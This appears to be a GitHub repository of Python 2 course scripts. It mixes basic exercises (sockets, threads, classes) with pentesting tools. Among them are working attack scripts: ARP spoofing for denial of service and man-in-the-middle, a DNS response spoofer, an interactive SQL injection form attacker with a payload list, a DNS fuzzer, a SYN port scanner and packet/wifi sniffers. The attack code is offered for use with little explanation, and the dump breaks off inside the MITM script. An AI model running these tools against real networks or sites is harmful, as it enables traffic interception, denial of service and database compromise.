├── -v ├── ARP-Request.py ├── ARP-Scapy.py ├── ARP-dos ├── Client.py ├── DNS-Fuzzer.py ├── HttpServer.py ├── Packet_snifer1.py ├── README.md ├── Server.py ├── SocetServer-demo.py ├── SocketServer-ThreadingTCServer.py ├── Sqli.py ├── TCP-SYN-Scanner.py ├── Wifi-sniff.py ├── argparser.py ├── class.py ├── classmodule.py ├── classmodule.pyc ├── dnsspoof.py ├── exercice1.py ├── exercice_1_(thread).py ├── exercice_2_(thread).py ├── fonction.py ├── fork-demo.py ├── if.py ├── module.py ├── module2-exercice2.py ├── multi-server.py ├── multiprocessing-exemple.py ├── multiprocessing-server.py ├── pack.py ├── packagedemo ├── __init__.py ├── __init__.pyc ├── classmodule.py └── classmodule.pyc ├── q.py ├── scapy-arp-mitm.py ├── server-select.py ├── server2.py ├── signal.py ├── thread.py ├── urlretreive.py └── while.py /-v: -------------------------------------------------------------------------------- 1 | # Nmap 6.26SVN scan initiated Sun Jul 21 18:57:35 2013 as: nmap -o -v 192.168.1.5 2 | Nmap scan report for 192.168.1.5 3 | Host is up (0.041s latency). 4 | Not shown: 999 closed ports 5 | PORT STATE SERVICE 6 | 1108/tcp open ratio-adp 7 | 8 | # Nmap done at Sun Jul 21 18:57:37 2013 -- 1 IP address (1 host up) scanned in 1.59 seconds 9 | -------------------------------------------------------------------------------- /ARP-Request.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | import socket 4 | import struct 5 | 6 | s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) 7 | s.bind(('eth0',0x800)) 8 | 9 | # ETHERNET 10 | dst_host = '\xff\xff\xff\xff\xff\xff' 11 | src_host = '\x00\x26\xc6\x8f\x22\x64' 12 | eth_type = '\x08\x06' 13 | # ARP 14 | hw_type = '\x00\x01' 15 | proto_type = '\x08\x00' 16 | hw_add_len = '\x06' 17 | proto_add_len = '\x04' 18 | opcode = '\x00\x01' 19 | src_hw_add = '\x00\x26\xc6\x8f\x22\x64' 20 | src_proto_add = '\xC0\xA8\x01\x65' 21 | dst_hw_add = '\xff\xff\xff\xff\xff\xff' 22 | dst_proto_add = '\xC0\xA8\x01\x33' 23 | 24 | arp = struct.pack("!6s6s2s2s2s1s1s2s6s4s6s4s", dst_host,src_host,eth_type,hw_type,proto_type,hw_add_len,proto_add_len,opcode,src_hw_add,src_proto_add,dst_hw_add,dst_proto_add) 25 | 26 | s.send(arp) -------------------------------------------------------------------------------- /ARP-Scapy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from scapy.all import * 4 | 5 | for lsb in range(1,256): 6 | ip='192.168.1.'+str(lsb) 7 | arpRequest = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip,hwdst ='ff:ff:ff:ff:ff:ff') 8 | arpResponse = srp1(arpRequest, timeout=1, verbose=0) 9 | if arpResponse: 10 | print 'IP:' + arpResponse.psrc +' MAC: '+ arpResponse.hwsrc -------------------------------------------------------------------------------- /ARP-dos: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from scapy.all import * 4 | from time import sleep 5 | import sys 6 | target = sys.argv[1] 7 | router = "192.168.1.1" 8 | 9 | paquet = ARP() 10 | paquet.psrc = router 11 | paquet.pdst = target 12 | 13 | paquet.hwsrc = "00:21:00:6c:e7:74" 14 | 15 | while 1: 16 | send(paquet , verbose = 0) 17 | sleep(3) -------------------------------------------------------------------------------- /Client.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | 4 | import socket 5 | import sys 6 | 7 | 8 | tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 9 | tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 10 | 11 | tcpsock.connect((sys.argv[1],50003)) 12 | 13 | while True: 14 | userInput = raw_input('Enter a string : ') 15 | tcpsock.send(userInput) 16 | print 'recieved DATA => %s'%tcpsock.recv(1024) 17 | 18 | tcpsock.close() -------------------------------------------------------------------------------- /DNS-Fuzzer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import sys 3 | from scapy.all import * 4 | 5 | while True: 6 | sr(IP(dst=sys.argv[1])/UDP()/fuzz(DNS()),inter=1,timeout=1) -------------------------------------------------------------------------------- /HttpServer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | """ 3 | Creating a simple HTTP Server 4 | 5 | """ 6 | 7 | 8 | 9 | import SocketServer 10 | import SimpleHTTPServer 11 | 12 | class HttpRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): 13 | def do_GET(self): 14 | if self.path == '/admin' : 15 | self.wfile.write('This page is only for admins ...!\n') 16 | self.wfile.write(self.headers) 17 | else: 18 | SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self) 19 | 20 | 21 | 22 | serverAddr = ('' , 8000) 23 | httpServer = SocketServer.ThreadingTCPServer(serverAddr , HttpRequestHandler) 24 | httpServer.serve_forever() -------------------------------------------------------------------------------- /Packet_snifer1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | 4 | import socket 5 | import struct 6 | import binascii 7 | import sys 8 | rawSocket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800)) 9 | 10 | pkt= rawSocket.recvfrom(2048) 11 | 12 | ethernetHeader = pkt[0][0:14] 13 | eth_hdr = struct.unpack("!6s6s2s", ethernetHeader) 14 | binascii.hexlify(eth_hdr[0]) 15 | binascii.hexlify(eth_hdr[1]) 16 | binascii.hexlify(eth_hdr[2]) 17 | 18 | ipHeader =pkt[0][14:34] 19 | ip_hdr = struct.unpack("!12s4s4s", ipHeader) 20 | 21 | 22 | #initial part of tcp header 23 | tcpHeader = pkt[0][34:54] 24 | tcp_hdr = struct.unpack('!HHLLBBHHH' , tcpHeader) 25 | source_port = tcp_hdr[0] 26 | dest_port = tcp_hdr[1] 27 | sequence = tcp_hdr[2] 28 | acknowledgement = tcp_hdr[3] 29 | doff_reserved = tcp_hdr[4] 30 | tcph_length = doff_reserved >> 4 31 | data = pkt[0][54:] 32 | if source_port == 80: 33 | 34 | print '[*]Source ip address: '+socket.inet_ntoa(ip_hdr[1]) 35 | print '[*]Destination ip address: '+socket.inet_ntoa(ip_hdr[2]) 36 | print '[*]Source Port : ' + str(source_port) 37 | print '[*]Dest Port : ' + str(dest_port) 38 | print '[*]Sequence Number : ' + str(sequence) 39 | print '[*]Acknowledgement : ' + str(acknowledgement) 40 | print '[*]TCP header length : ' + str(tcph_length) 41 | print '[*]DATA : ' + str(data) 42 | 43 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PythonCourse 2 | Python Security Useful Scripts 3 | 4 | Scripts that are useful for me on penetration tests. 5 | -------------------------------------------------------------------------------- /Server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import socket 4 | tcpSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 5 | tcpSocket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) 6 | tcpSocket.bind(("0.0.0.0",8000)) 7 | tcpSocket.listen(2) 8 | 9 | print 'waiting for a Client ...' 10 | 11 | (client,(ip,port)) =tcpSocket.accept() 12 | print "receved connection from " ,ip 13 | print "Starting ECHO output ..." 14 | data = 'dummy' 15 | while len(data): 16 | data = client.recv(2048) 17 | print "client send ", data 18 | client.send(data) 19 | print 'closing connection ...' 20 | client.close() 21 | -------------------------------------------------------------------------------- /SocetServer-demo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import SocketServer 4 | 5 | class EchoHander(SocketServer.BaseRequestHandler): 6 | def handle(self): 7 | print 'Got connection from : ', self.client_address 8 | data = 'dummy' 9 | while len(data): 10 | data = self.request.recv(1024) 11 | print 'data sent ==> %s' %data 12 | self.request.send(data) 13 | print 'Client %s left'%self.client_address 14 | 15 | 16 | 17 | 18 | 19 | serverAddr = ("0.0.0.0", 50003) 20 | server = SocketServer.TCPServer(serverAddr, EchoHander) 21 | server.serve_forever() -------------------------------------------------------------------------------- /SocketServer-ThreadingTCServer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import SocketServer 4 | 5 | class EchoRequestHandler(SocketServer.BaseRequestHandler): 6 | 7 | def handle(self): 8 | 9 | print 'Got connection from : ', self.client_address 10 | data = 'dummy' 11 | while len(data): 12 | data = self.request.recv(1024) 13 | print 'data sent ==> %s' %data 14 | self.request.send(data) 15 | print 'Client %s left'%self.client_address 16 | 17 | 18 | 19 | 20 | 21 | serverAddr = ("0.0.0.0", 50003) 22 | server = SocketServer.ThreadingTCPServer(serverAddr , EchoRequestHandler) 23 | server.serve_forever() -------------------------------------------------------------------------------- /Sqli.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import sys 4 | import argparse 5 | import urllib 6 | import mechanize 7 | 8 | def PlusPrint(text): 9 | print '[+] ' + text 10 | 11 | def PlusLine(): 12 | print '' 13 | def CreateHLs(leng): 14 | print '-' * (leng + 4) 15 | 16 | 17 | def Interract(text, default): 18 | ans = raw_input('%s [%s]: ' % (text, default)) 19 | return ans if len(ans) != 0 else default 20 | def IsYes(text): 21 | text = text.lower() 22 | return True if text.startswith('y') else False 23 | def IsNo(text): 24 | text = text.lower() 25 | return True if text.startswith('n') else False 26 | 27 | sysArgParser = argparse.ArgumentParser(description='Tests forms for basic SQL injection.') 28 | sysArgParser.add_argument('--version', action='version', version='%(prog)s is at version 1.0.0') 29 | sysArgParser.add_argument('url', metavar='url', type=str, help='The URL containing the form to test.') 30 | sysArgs = sysArgParser.parse_args() 31 | 32 | INJECTION_STRINGS = ['admin\'--', '\' or 0=0 --', '" or 0=0 --', 'or 0=0 --', '\' or 0=0 #', 33 | '" or 0=0 #', 'or 0=0 #', '\' or \'x\'=\'x', '" or "x"="x', 34 | '\') or (\'x\'=\'x', '\' or 1=1--', '" or 1=1--', 'or 1=1--', 35 | '\' or a=a--', '" or "a"="a', '\') or (\'a\'=\'a', '") or ("a"="a', 36 | 'hi" or "a"="a', 'hi" or 1=1 --', 'hi\' or 1=1 --', 'hi\' or \'a\'=\'a', 37 | 'hi\') or (\'a\'=\'a', 'hi") or ("a"="a'] 38 | ERROR_STRINGS = ['You have an error in your SQL syntax', 'document.getElementById("id-bad-cred-tr").style.display=""'] 39 | 40 | 41 | def main(): 42 | global sysArgs 43 | global INJECTION_STRINGS 44 | 45 | PlusPrint('OWASP A1 SQL INJECTION.') 46 | 47 | br = mechanize.Browser() 48 | br.open(sysArgs.url) 49 | 50 | form_number = -1 51 | allForms = br.forms() 52 | 53 | for form in allForms: 54 | form_number += 1 55 | 56 | PlusLine() 57 | print form 58 | PlusLine() 59 | if IsYes(Interract('Attack this form?', 'yes')): 60 | 61 | formValues = GetValues(form) 62 | 63 | # THIS IS WHERE THE REAL MAGIC HAPPENS! 64 | for attack in INJECTION_STRINGS: 65 | br.select_form(nr=form_number) 66 | 67 | for key, value in formValues.iteritems(): 68 | if value == None: 69 | br.form[key] = attack 70 | else: 71 | br.form[key] = value 72 | 73 | resp = br.submit() 74 | resp = resp.get_data() 75 | 76 | # Check if we got any MySQL errors... 77 | errorFound = False 78 | for error in ERROR_STRINGS: 79 | if resp.count(error) > 0: 80 | errorFound = True 81 | 82 | if errorFound != True: 83 | msg = 'SUCCESS! We *may* have had some luck with the attack: %s' % attack 84 | CreateHLs(len(msg)) 85 | PlusPrint(msg) 86 | CreateHLs(len(msg)) 87 | 88 | if IsNo(Interract('Keep trying other attacks?', 'no')): 89 | br.back() 90 | break 91 | 92 | br.back() 93 | else: 94 | PlusPrint('Form Ignored, trying next...') 95 | 96 | PlusPrint('That\'s it! All forms have been processed.') 97 | 98 | def GetValues(form): 99 | attrs = {} 100 | for control in form.controls: 101 | if (control.type == 'text') or (control.type == 'password'): 102 | ans = Interract('Type yes to attack (%s), otherwise type a value.' % control.name, 'yes') 103 | if IsYes(ans): 104 | attrs[control.name] = None 105 | else: 106 | attrs[control.name] = ans 107 | return attrs 108 | 109 | def exit(): 110 | sys.exit() 111 | 112 | def interrupt(): 113 | PlusPrint('\nGood-byte.') 114 | 115 | def run(main, exit, interrupt): 116 | try: 117 | main() 118 | except KeyboardInterrupt: 119 | interrupt() 120 | finally: 121 | exit() 122 | 123 | if __name__ == '__main__': 124 | run(main, exit, interrupt) -------------------------------------------------------------------------------- /TCP-SYN-Scanner.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import threading 4 | import Queue 5 | import time 6 | from scapy.all import * 7 | 8 | class WorkerThread(threading.Thread) : 9 | 10 | def __init__(self, queue, tid) : 11 | threading.Thread.__init__(self) 12 | self.queue = queue 13 | self.tid = tid 14 | print "Worker %d Reporting for Service Sir!" %self.tid 15 | 16 | def run(self) : 17 | total_ports = 0 18 | while True : 19 | port = 0 20 | try : 21 | port = self.queue.get(timeout=1) 22 | except Queue.Empty : 23 | print "Worker %d exiting. Scanned %d ports ..." % (self.tid, total_ports) 24 | return 25 | # port scanning to begin 26 | # we rely on scapy to do this 27 | ip = sys.argv[1] 28 | response = sr1(IP(dst=ip)/TCP(dport=port, flags="S"), verbose=False, timeout=.2) 29 | # only checking for SYN-ACK == flags = 18 30 | # filtererd ports etc. is another story altogether 31 | if response : 32 | if response[TCP].flags == 18 : 33 | 34 | print "[*]ThreadId %d: Received port number %d Status: OPEN" %(self.tid, port) 35 | self.queue.task_done() 36 | total_ports += 1 37 | 38 | 39 | queue = Queue.Queue() 40 | 41 | threads = [] 42 | for i in range(1, 10) : 43 | print "Creating WorkerThread : %d"%i 44 | worker = WorkerThread(queue, i) 45 | worker.setDaemon(True) 46 | worker.start() 47 | threads.append(worker) 48 | print "WorkerThread %d Created!"%i 49 | 50 | for j in range (1,1000) : 51 | queue.put(j) 52 | 53 | queue.join() 54 | 55 | # wait for all threads to exit 56 | 57 | for item in threads : 58 | item.join() 59 | 60 | print "Scanning Complete!" -------------------------------------------------------------------------------- /Wifi-sniff.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from scapy.all import * 4 | ap_list = [] 5 | def PacketHandler(pkt): 6 | if pkt.haslayer(Dot11) : 7 | if pkt.type == 0 and pkt.subtype == 8 : 8 | if pkt.addr2 not in ap_list : 9 | ap_list.append(pkt.addr2) 10 | print 'AP MAC: %s with SSID : %s '%(pkt.addr2, pkt.info) 11 | 12 | sniff(iface = 'eth1' , prn = PacketHandler) -------------------------------------------------------------------------------- /argparser.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | parser = argparse.ArgumentParser() 3 | parser.add_argument("--verbosity", help="increase output verbosity") 4 | parser.add_argument("--quit", help="quit mode") 5 | args = parser.parse_args() 6 | if args.verbosity: 7 | print "verbosity turned on" 8 | if args.quit: 9 | print "quit turned on!!!!" -------------------------------------------------------------------------------- /class.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | 4 | 5 | class Calculator: 6 | 7 | def __init__(self, ina, inb): 8 | self.a = ina 9 | self.b = inb 10 | 11 | 12 | 13 | def add(self): 14 | return self.a + self.b 15 | 16 | def mul(self): 17 | return self.a * self.b 18 | 19 | 20 | class SientificCalc(Calculator): 21 | 22 | 23 | def power(self): 24 | return pow(self.a, self.b) 25 | 26 | 27 | 28 | 29 | def quickadd(a,b): 30 | return a+b 31 | 32 | 33 | -------------------------------------------------------------------------------- /classmodule.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | 4 | 5 | class Calculator: 6 | 7 | def __init__(self, ina, inb): 8 | self.a = ina 9 | self.b = inb 10 | 11 | 12 | 13 | def add(self): 14 | return self.a + self.b 15 | 16 | def mul(self): 17 | return self.a * self.b 18 | 19 | 20 | class SientificCalc(Calculator): 21 | 22 | 23 | def power(self): 24 | return pow(self.a, self.b) 25 | 26 | 27 | 28 | 29 | def quickadd(a,b): 30 | return a+b 31 | 32 | 33 | -------------------------------------------------------------------------------- /classmodule.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smileisak/PyScripts/bdaf4f7ab666e1084568882f4080882a0a08e30a/classmodule.pyc -------------------------------------------------------------------------------- /dnsspoof.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import sys 3 | from scapy.all import * 4 | 5 | 6 | def procPacket(p): 7 | #Lets grab the source mac and dst mac 8 | eth_layer = p.getlayer(scapy.Ether) 9 | src_mac = eth_layer.src 10 | dst_mac = eth_layer.dst 11 | 12 | #Now on to grabbing the src IP and dst IP 13 | ip_layer = p.getlayer(scapy.IP) 14 | src_ip = ip_layer.src 15 | dst_ip = ip_layer.dst 16 | 17 | #Woot..UDP Layer 18 | udp_layer = p.getlayer(scapy.UDP) 19 | src_port = udp_layer.sport 20 | dst_port = udp_layer.dport 21 | 22 | #And finally..the DNS layer 23 | dns_layer = p.getlayer(scapy.DNS) 24 | d = scapy.DNS() 25 | d.id = dns_layer.id #Transaction ID 26 | d.qr = 1 #1 for Response 27 | d.opcode = 16 28 | d.aa = 0 29 | d.tc = 0 30 | d.rd = 0 31 | d.ra = 1 32 | d.z = 8 33 | d.rcode = 0 34 | d.qdcount = 1 #Question Count 35 | d.ancount = 1 #Answer Count 36 | d.nscount = 0 #No Name server info 37 | d.arcount = 0 #No additional records 38 | d.qd = str(dns_layer.qd) 39 | d.an = scapy.DNSRR(rrname="www.google.com.", ttl=330, type="A", rclass="IN", rdata="127.0.0.1") 40 | 41 | #Send the spoofed packet away! 42 | #Don't forget to switch stuffs lawl 43 | spoofed = scapy.Ether(src=dst_mac, dst=src_mac)/scapy.IP(src=dst_ip, dst=src_ip)/scapy.UDP(sport=dst_port, dport=src_port)/d 44 | 45 | #Off we go! 46 | scapy.sendp(spoofed, iface_hint=src_ip) 47 | 48 | 49 | 50 | scapy.sniff(iface="eth2",count=1,filter="udp port 53",prn=procPacket) -------------------------------------------------------------------------------- /exercice1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | dmesg = open("/var/log/dmesg" , "r") 4 | for line in dmesg: 5 | if "USB " in line: 6 | print line 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /exercice_1_(thread).py: -------------------------------------------------------------------------------- 1 | 2 | import threading 3 | import time 4 | def affiche(nb, nom = ''): 5 | i=0 6 | while True: 7 | print nom, i 8 | time.sleep(2) 9 | 10 | 11 | a = threading.Thread(None, affiche, None, (10,), {'nom':'thread a'}) 12 | b = threading.Thread(None, affiche, None, (10,), {'nom':'thread b'}) 13 | a.start() 14 | b.start() -------------------------------------------------------------------------------- /exercice_2_(thread).py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import threading 4 | import time 5 | 6 | class Affiche(threading.Thread): 7 | def __init__(self, nom = ''): 8 | threading.Thread.__init__(self) 9 | self.nom = nom 10 | self.Terminated = False 11 | def run(self): 12 | i = 0 13 | while not self.Terminated: 14 | print self.nom, i 15 | i += 1 16 | time.sleep(2.0) 17 | print "le thread "+self.nom +" s'est termine proprement" 18 | def stop(self): 19 | self.Terminated = True 20 | 21 | 22 | class Affiche2(threading.Thread): 23 | def __init__(self, nom = ''): 24 | threading.Thread.__init__(self) 25 | self.nom = nom 26 | self._stopevent = threading.Event( ) 27 | def run(self): 28 | i = 0 29 | while not self._stopevent.isSet(): 30 | print self.nom, i 31 | i += 1 32 | self._stopevent.wait(2.0) 33 | print "le thread "+self.nom +" s'est termine proprement" 34 | def stop(self): 35 | self._stopevent.set( ) 36 | 37 | a = Affiche('Thread A') 38 | b = Affiche('Thread B') 39 | c = Affiche2('Thread C') 40 | 41 | a.start() 42 | b.start() 43 | c.start() 44 | time.sleep(6.5) 45 | a._Thread__stop() 46 | b.stop() 47 | c.stop() -------------------------------------------------------------------------------- /fonction.py: -------------------------------------------------------------------------------- 1 | #/usr/bin/python 2 | 3 | 4 | def print5times(line_to_print): 5 | for count in xrange(0,5): 6 | print line_to_print 7 | 8 | 9 | print5times(sys.args[0]) 10 | 11 | -------------------------------------------------------------------------------- /fork-demo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import os 4 | def child_process (): 5 | print "i'm the child process and my PID is : %d"%os.getpid() 6 | print "the child is exiting" 7 | 8 | def parent_process(): 9 | print "i'm the parent process with PID %d"%os.getpid() 10 | childpid = os.fork() 11 | if childpid == 0 : 12 | #we are inside the child 13 | child_process() 14 | else : 15 | #we are inside the parent process 16 | print "We are inside the parent process" 17 | print "Our child has PID : %d"%childpid 18 | 19 | while True : 20 | pass 21 | 22 | parent_process() 23 | 24 | -------------------------------------------------------------------------------- /if.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | 4 | 5 | name=raw_input("What's your name? => ") 6 | print "your name is" + name 7 | if name=="smile": 8 | print "you are smile isak" 9 | print "the computer admin" 10 | elif name == 'jhon': 11 | print "you are jhon" 12 | print "a regular user" 13 | 14 | else: 15 | print "unknown user" 16 | 17 | 18 | 19 | 20 | 21 | for x in xrange(1,10): 22 | print x -------------------------------------------------------------------------------- /module.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | 4 | from classmodule import SientificCalc 5 | 6 | 7 | #print 'a+b: %d' %classmodule.quickadd(2,3) 8 | instance = SientificCalc(4,12) 9 | print '%d'%instance.mul() -------------------------------------------------------------------------------- /module2-exercice2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import os 4 | import sys 5 | import time 6 | 7 | 8 | for root, dirnames, filenames in os.walk(sys.argv[1]): 9 | #print list(dirnames) 10 | 11 | for d in dirnames: 12 | print "***" + d 13 | for f in filenames: 14 | print "-------"+ f 15 | print "\n size====>"+ str(os.stat(os.path.join(root, f)).st_size) 16 | print "\n uid====>"+ str(os.stat(os.path.join(root, f)).st_uid) 17 | print "\n recent access time ====>"+ str(os.stat(os.path.join(root, f)).st_atime/100) 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /multi-server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import socket 4 | import threading 5 | import time 6 | 7 | class myServer(threading.Thread): 8 | def __init__(self, ip , port , clientsock): 9 | threading.Thread.__init__(self) 10 | self.ip = ip 11 | self.port = port 12 | self.clientsock = clientsock 13 | print "[+] New thread started for "+ip+":"+str(port) 14 | 15 | def run(self): 16 | print "Connection from : "+ip+":"+str(port) 17 | clientsock.send("\nWelcome to the server\n\n") 18 | print 'Starting ECHO output : ' 19 | data = 'dummy' 20 | while len(data): 21 | data = clientsock.recv(1024) 22 | print 'Recieved DATA from client %s: %s '%(ip ,data) 23 | clientsock.send(data) 24 | print "Client disconnected..." 25 | 26 | 27 | HOST = '0.0.0.0' 28 | PORT = 50003 29 | tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 30 | tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 31 | print "Starting.. " 32 | tcpsock.bind((HOST, PORT)) 33 | threads = [] 34 | while True: 35 | tcpsock.listen(4) 36 | print "\nListening for incoming connections..." 37 | (clientsock, (ip, port)) = tcpsock.accept() 38 | newthread = myServer(ip, port, clientsock) 39 | newthread.start() 40 | threads.append(newthread) 41 | 42 | 43 | for t in threads: 44 | t.join() 45 | 46 | 47 | 48 | 49 | 50 | 51 | -------------------------------------------------------------------------------- /multiprocessing-exemple.py: -------------------------------------------------------------------------------- 1 | import multiprocessing 2 | import time 3 | 4 | class Consumer(multiprocessing.Process): 5 | 6 | def __init__(self, task_queue, result_queue): 7 | multiprocessing.Process.__init__(self) 8 | self.task_queue = task_queue 9 | self.result_queue = result_queue 10 | 11 | def run(self): 12 | proc_name = self.name 13 | while True: 14 | next_task = self.task_queue.get() 15 | if next_task is None: 16 | # Poison pill means we should exit 17 | print '%s: Exiting' % proc_name 18 | break 19 | print '%s: %s' % (proc_name, next_task) 20 | answer = next_task() 21 | self.result_queue.put(answer) 22 | return 23 | 24 | 25 | class Task(object): 26 | def __init__(self, a, b): 27 | self.a = a 28 | self.b = b 29 | def __call__(self): 30 | time.sleep(0.1) # pretend to take some time to do our work 31 | return '%s * %s = %s' % (self.a, self.b, self.a * self.b) 32 | def __str__(self): 33 | return '%s * %s' % (self.a, self.b) 34 | 35 | 36 | if __name__ == '__main__': 37 | # Establish communication queues 38 | tasks = multiprocessing.Queue() 39 | results = multiprocessing.Queue() 40 | 41 | # Start consumers 42 | num_consumers = multiprocessing.cpu_count() * 2 43 | print 'Creating %d consumers' % num_consumers 44 | consumers = [ Consumer(tasks, results) 45 | for i in xrange(num_consumers) ] 46 | for w in consumers: 47 | w.start() 48 | 49 | # Enqueue jobs 50 | num_jobs = 10 51 | for i in xrange(num_jobs): 52 | tasks.put(Task(i, i)) 53 | 54 | # Add a poison pill for each consumer 55 | for i in xrange(num_consumers): 56 | tasks.put(None) 57 | 58 | # Start printing results 59 | while num_jobs: 60 | result = results.get() 61 | print 'Result:', result 62 | num_jobs -= 1 -------------------------------------------------------------------------------- /multiprocessing-server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import multiprocessing 4 | import socket 5 | 6 | 7 | class myserver(multiprocessing.Process): 8 | 9 | def __init__(self, ip , port , clientsock): 10 | multiprocessing.Process.__init__(self) 11 | self.ip = ip 12 | self.port = port 13 | self.clientsock = clientsock 14 | 15 | 16 | def run(self): 17 | print "Connection from : "+ip+":"+str(port) 18 | clientsock.send("\nWelcome to the server\n\n") 19 | print 'Starting ECHO output : ' 20 | data = 'dummy' 21 | while len(data): 22 | data = clientsock.recv(1024) 23 | print 'Recieved DATA from client %s with remote port %s: %s '%(ip, port,data) 24 | clientsock.send("\n sent data : %s "%data) 25 | print "Client disconnected..." 26 | 27 | HOST = '0.0.0.0' 28 | PORT = 50003 29 | tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 30 | tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 31 | print "Starting.. " 32 | tcpsock.bind((HOST, PORT)) 33 | process = [] 34 | while True: 35 | tcpsock.listen(4) 36 | print "\nListening for incoming connections..." 37 | (clientsock, (ip, port)) = tcpsock.accept() 38 | newprocess = myserver(ip, port, clientsock) 39 | newprocess.start() 40 | process.append(newprocess) 41 | -------------------------------------------------------------------------------- /pack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import packagedemo 4 | im=packagedemo.Calculator(10,20) 5 | print '%d'%im.add() 6 | -------------------------------------------------------------------------------- /packagedemo/__init__.py: -------------------------------------------------------------------------------- 1 | from classmodule import Calculator, SientificCalc 2 | 3 | 4 | 5 | -------------------------------------------------------------------------------- /packagedemo/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smileisak/PyScripts/bdaf4f7ab666e1084568882f4080882a0a08e30a/packagedemo/__init__.pyc -------------------------------------------------------------------------------- /packagedemo/classmodule.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | 4 | 5 | class Calculator: 6 | 7 | def __init__(self, ina, inb): 8 | self.a = ina 9 | self.b = inb 10 | 11 | 12 | 13 | def add(self): 14 | return self.a + self.b 15 | 16 | def mul(self): 17 | return self.a * self.b 18 | 19 | 20 | class SientificCalc(Calculator): 21 | 22 | 23 | def power(self): 24 | return pow(self.a, self.b) 25 | 26 | 27 | 28 | 29 | def quickadd(a,b): 30 | return a+b 31 | 32 | 33 | -------------------------------------------------------------------------------- /packagedemo/classmodule.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/smileisak/PyScripts/bdaf4f7ab666e1084568882f4080882a0a08e30a/packagedemo/classmodule.pyc -------------------------------------------------------------------------------- /q.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | 4 | import Queue 5 | import threading 6 | import time 7 | 8 | 9 | 10 | 11 | queue = Queue.Queue() 12 | 13 | class WorkerThread(threading.Thread): 14 | def __init__(self, queue): 15 | threading.Thread.__init__(self) 16 | self.queue = queue 17 | def run(self): 18 | print "In WorkerThread" 19 | while True: 20 | counter = self.queue.get() 21 | print "Ordered to sleep for %d seconds!"%counter 22 | time.sleep(counter) 23 | print "Finished sleeping for %d seconds"% counter 24 | self.queue.task_done() 25 | 26 | 27 | queue = Queue.Queue() 28 | for i in range(10): 29 | print "Creating WorkerThread : %d"%i 30 | worker = WorkerThread(queue) 31 | worker.setDaemon(True) 32 | worker.start() 33 | print "WorkerThread %d Created!"%i 34 | 35 | for j in range(10): 36 | queue.put(j) 37 | queue.join() 38 | 39 | print "ALL tasks over!" 40 | 41 | 42 | 43 | 44 | -------------------------------------------------------------------------------- /scapy-arp-mitm.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from scapy.all import * 4 | from time import * 5 | from os import * 6 | import sys 7 | 8 | try: 9 | print "#################################################" 10 | print "## Man In The Middle with Scapy by Smile ##" 11 | print "#################################################" 12 | 13 | interface = sys.argv[1] 14 | targetIP = sys.argv[2] 15 | except: 16 | print "Usage: " + sys.argv[0] + " " 17 | sys.exit(1) 18 | 19 | def mitm(interface, targetIP, interval=3): 20 | """Man In The Middle attack""" 21 | 22 | try: 23 | myMAC = get_if_hwaddr(interface) 24 | print "[*] Starting attack ..." 25 | while 1: 26 | sendp(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(op="is-at", psrc=targetIP, hwsrc=myMAC)) 27 | sleep(interval) 28 | except IOError: 29 | print "[!] Interface doesn't exist" 30 | sys.exit(1) 31 | except KeyboardInterrupt: 32 | 